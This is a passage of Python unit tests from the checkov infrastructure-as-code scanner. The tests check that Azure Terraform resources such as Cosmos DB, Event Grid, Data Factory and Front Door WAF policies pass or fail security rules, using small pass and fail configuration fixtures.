ID for CMK encryption\"\n                }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CosmosDBHaveCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.CosmosDBHaveCMK import check\n\n\nclass TestCosmosDBHaveCMK(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_CosmosDBHaveCMK\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_cosmosdb_account.pass'\n        }\n        failing_resources = {\n            'azurerm_cosmosdb_account.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CosmosDBLocalAuthDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.CosmosDBLocalAuthDisabled import check\n\n\nclass TestCosmosDBLocalAuthDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_CosmosDBLocalAuthDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_cosmosdb_account.pass'\n        }\n        failing_resources = {\n            'azurerm_cosmosdb_account.fail',\n            'azurerm_cosmosdb_account.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_CustomRoleDefinitionSubscriptionOwner.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.CutsomRoleDefinitionSubscriptionOwner import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCustomRoleDefinitionSubscriptionOwner(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_role_definition\" \"example\" {\n              name        = \"my-custom-role\"\n              scope       = data.azurerm_subscription.primary.id\n              description = \"This is a custom role created via Terraform\"\n            \n              permissions {\n                actions     = [\"*\"]\n                not_actions = []\n              }\n            \n              assignable_scopes = [\n                data.azurerm_subscription.primary.id\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_role_definition']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_role_definition\" \"example\" {\n              name        = \"my-custom-role\"\n              scope       = data.azurerm_subscription.primary.id\n              description = \"This is a custom role created via Terraform\"\n\n              permissions {\n                actions     = [\"*\"]\n                not_actions = []\n              }\n\n              assignable_scopes = [\n                \"/\"\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_role_definition']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_role_definition\" \"example\" {\n              name        = \"my-custom-role\"\n              scope       = data.azurerm_subscription.primary.id\n              description = \"This is a custom role created via Terraform\"\n            \n              permissions {\n                actions     = [\n                \"Microsoft.Authorization/*/read\",\n                  \"Microsoft.Insights/alertRules/*\",\n                  \"Microsoft.Resources/deployments/write\",\n                  \"Microsoft.Resources/subscriptions/operationresults/read\",\n                  \"Microsoft.Resources/subscriptions/read\",\n                  \"Microsoft.Resources/subscriptions/resourceGroups/read\",\n                  \"Microsoft.Support/*\"\n                  ]\n                not_actions = []\n              }\n            \n              assignable_scopes = [\n                data.azurerm_subscription.primary.id\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_role_definition']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_no_assignable_scopes(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_role_definition\" \"example\" {\n              name        = \"my-custom-role\"\n              scope       = data.azurerm_subscription.primary.id\n              description = \"This is a custom role created via Terraform\"\n\n              permissions {\n                actions     = [\"*\"]\n                not_actions = []\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_role_definition']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_DataExplorerSKUHasSLA.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.DataExplorerSKUHasSLA import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDatabricksWorkspaceIsNotPublic(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_DataExplorerSKUHasSLA\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_kusto_cluster.pass\",\n        }\n        failing_resources = {\n            \"azurerm_kusto_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_DataExplorerServiceIdentity.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.DataExplorerServiceIdentity import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataExplorerServiceIdentity(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_DataExplorerServiceIdentity\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_kusto_cluster.pass\",\n        }\n        failing_resources = {\n            \"azurerm_kusto_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_DataExplorerUsesDiskEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.DataExplorerUsesDiskEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataExplorerUsesDiskEncryption(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_DataExplorerUsesDiskEncryption\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_kusto_cluster.pass\",\n        }\n        failing_resources = {\n            \"azurerm_kusto_cluster.fail\",\n            \"azurerm_kusto_cluster.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_DataFactoryNoPublicNetworkAccess.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.DataFactoryNoPublicNetworkAccess import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestDataFactoryNoPublicNetworkAccess(unittest.TestCase):\n\n    def test_failure_missing_attribute(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"azurerm_data_factory\" \"example\" {\n              name                = \"example\"\n              location            = \"azurerm_resource_group.example.location\"\n              resource_group_name = \"azurerm_resource_group.example.name\"\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_data_factory']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_data_factory\" \"example\" {\n              name                = \"example\"\n              location            = \"azurerm_resource_group.example.location\"\n              resource_group_name = \"azurerm_resource_group.example.name\"\n              public_network_enabled = true\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_data_factory']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_data_factory\" \"example\" {\n              name                = \"example\"\n              location            = \"azurerm_resource_group.example.location\"\n              resource_group_name = \"azurerm_resource_group.example.name\"\n              public_network_enabled = false\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_data_factory']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_DataFactoryUsesGitRepository.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.DataFactoryUsesGitRepository import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataFactoryUsesGitRepository(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_DataFactoryUsesGitRepository\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_data_factory.github\",\n            \"azurerm_data_factory.vsts\",\n        }\n        failing_resources = {\n            \"azurerm_data_factory.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_DataLakeStoreEncryption.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.DataLakeStoreEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestDataLakeStoreEncryption(unittest.TestCase):\n\n    def test_failure_explicit(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_data_lake_store\" \"example\" {\n              name                = \"consumptiondatalake\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              \n              encryption_state = \"Disabled\"\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_data_lake_store']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_data_lake_store\" \"example\" {\n              name                = \"consumptiondatalake\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_data_lake_store']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_explicit(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_data_lake_store\" \"example\" {\n              name                = \"consumptiondatalake\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              \n              encryption_state = \"Enabled\"\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_data_lake_store']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_DatabricksWorkspaceIsNotPublic.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.DatabricksWorkspaceIsNotPublic import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDatabricksWorkspaceIsNotPublic(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_DatabricksWorkspaceIsNotPublic\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_databricks_workspace.pass\",\n        }\n        failing_resources = {\n            \"azurerm_databricks_workspace.fail\",\n            \"azurerm_databricks_workspace.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_EventHubNamespaceMinTLS12.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.EventHubNamespaceMinTLS12 import check\n\n\nclass TestEventHubNamespaceMinTLS12(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_EventHubNamespaceMinTLS12\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_eventhub_namespace.pass',\n            'azurerm_eventhub_namespace.pass2'\n        }\n        failing_resources = {\n            'azurerm_eventhub_namespace.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_EventHubNamespaceZoneRedundant.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.EventHubNamespaceZoneRedundant import check\n\n\nclass TestEventHubNamespaceZoneRedundant(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_EventHubNamespaceZoneRedundant\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_eventhub_namespace.pass',\n            'azurerm_eventhub_namespace.pass2',\n        }\n        failing_resources = {\n            'azurerm_eventhub_namespace.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_EventgridDomainIdentityProviderEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.EventgridDomainIdentityProviderEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEventgridDomainIdentityProviderEnabled(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_EventgridDomainIdentityProviderEnabled\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_eventgrid_domain.pass\",\n        }\n        failing_resources = {\n            \"azurerm_eventgrid_domain.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_EventgridDomainLocalAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.EventgridDomainLocalAuthentication import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEventgridDomainLocalAuthentication(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_EventgridDomainLocalAuthentication\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_eventgrid_domain.pass\",\n        }\n        failing_resources = {\n            \"azurerm_eventgrid_domain.fail\",\n            \"azurerm_eventgrid_domain.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_EventgridDomainNetworkAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.EventgridDomainNetworkAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEventgridDomainNetworkAccess(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_EventgridDomainNetworkAccess\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_eventgrid_domain.pass\",\n        }\n        failing_resources = {\n            \"azurerm_eventgrid_domain.fail\",\n            \"azurerm_eventgrid_domain.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_EventgridTopicIdentityProviderEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.EventgridTopicIdentityProviderEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEventgridTopicIdentityProviderEnabled(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_EventgridTopicIdentityProviderEnabled\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_eventgrid_topic.pass\",\n        }\n        failing_resources = {\n            \"azurerm_eventgrid_topic.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_EventgridTopicLocalAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.EventgridTopicLocalAuthentication import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEventgridTopicLocalAuthentication(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_EventgridTopicLocalAuthentication\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_eventgrid_topic.pass\",\n        }\n        failing_resources = {\n            \"azurerm_eventgrid_topic.fail\",\n            \"azurerm_eventgrid_topic.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_EventgridTopicNetworkAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.EventgridTopicNetworkAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEventgridTopicNetworkAccess(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_EventgridTopicNetworkAccess\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_eventgrid_topic.pass\",\n        }\n        failing_resources = {\n            \"azurerm_eventgrid_topic.fail\",\n            \"azurerm_eventgrid_topic.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FrontDoorWAFACLCVE202144228.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.FrontDoorWAFACLCVE202144228 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFrontDoorWAFACLCVE202144228(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FrontDoorWAFACLCVE202144228\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_frontdoor_firewall_policy.dsr_1_1_default\",\n            \"azurerm_frontdoor_firewall_policy.dsr_1_0_default\",\n            \"azurerm_frontdoor_firewall_policy.dsr_1_1_enabled_block\",\n            \"azurerm_frontdoor_firewall_policy.dsr_1_1_enabled_redirect\",\n        }\n        failing_resources = {\n            \"azurerm_frontdoor_firewall_policy.default\",\n            \"azurerm_frontdoor_firewall_policy.dsr_1_1_disabled\",\n            \"azurerm_frontdoor_firewall_policy.dsr_1_1_disabled_default\",\n            \"azurerm_frontdoor_firewall_policy.dsr_1_1_enabled_allow\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n        # check especially for the evaluated keys\n        actual_evaluated_keys = next(\n            c.check_result[\"evaluated_keys\"]\n            for c in report.failed_checks\n            if c.resource == \"azurerm_frontdoor_firewall_policy.dsr_1_1_enabled_allow\"\n        )\n        expected_evaluated_keys = [\n            \"managed_rule/[0]/type\",\n            \"managed_rule/[0]/override/[0]/rule_group_name\",\n            \"managed_rule/[0]/override/[0]/rule/[0]/rule_id\",\n            \"managed_rule/[0]/override/[0]/rule/[0]/enabled\",\n            \"managed_rule/[0]/override/[0]/rule/[0]/action\",\n        ]\n        self.assertCountEqual(expected_evaluated_keys, actual_evaluated_keys)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FrontdoorUseWAFMode.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.azure.FrontdoorUseWAFMode import check\n\n\nclass TestFrontdoorUseWAFMode(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_frontdoor_firewall_policy\" \"example\" {\n              name                = \"example-wafpolicy\"\n              resource_group_name = azurerm_resource_group.example.name\n              location            = azurerm_resource_group.example.location\n\n              custom_rules {\n                name      = \"Rule1\"\n                priority  = 1\n                rule_type = \"MatchRule\"\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RemoteAddr\"\n                  }\n\n                  operator           = \"IPMatch\"\n                  negation_condition = false\n                  match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                }\n\n                action = \"Block\"\n              }\n\n              custom_rules {\n                name      = \"Rule2\"\n                priority  = 2\n                rule_type = \"MatchRule\"\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RemoteAddr\"\n                  }\n\n                  operator           = 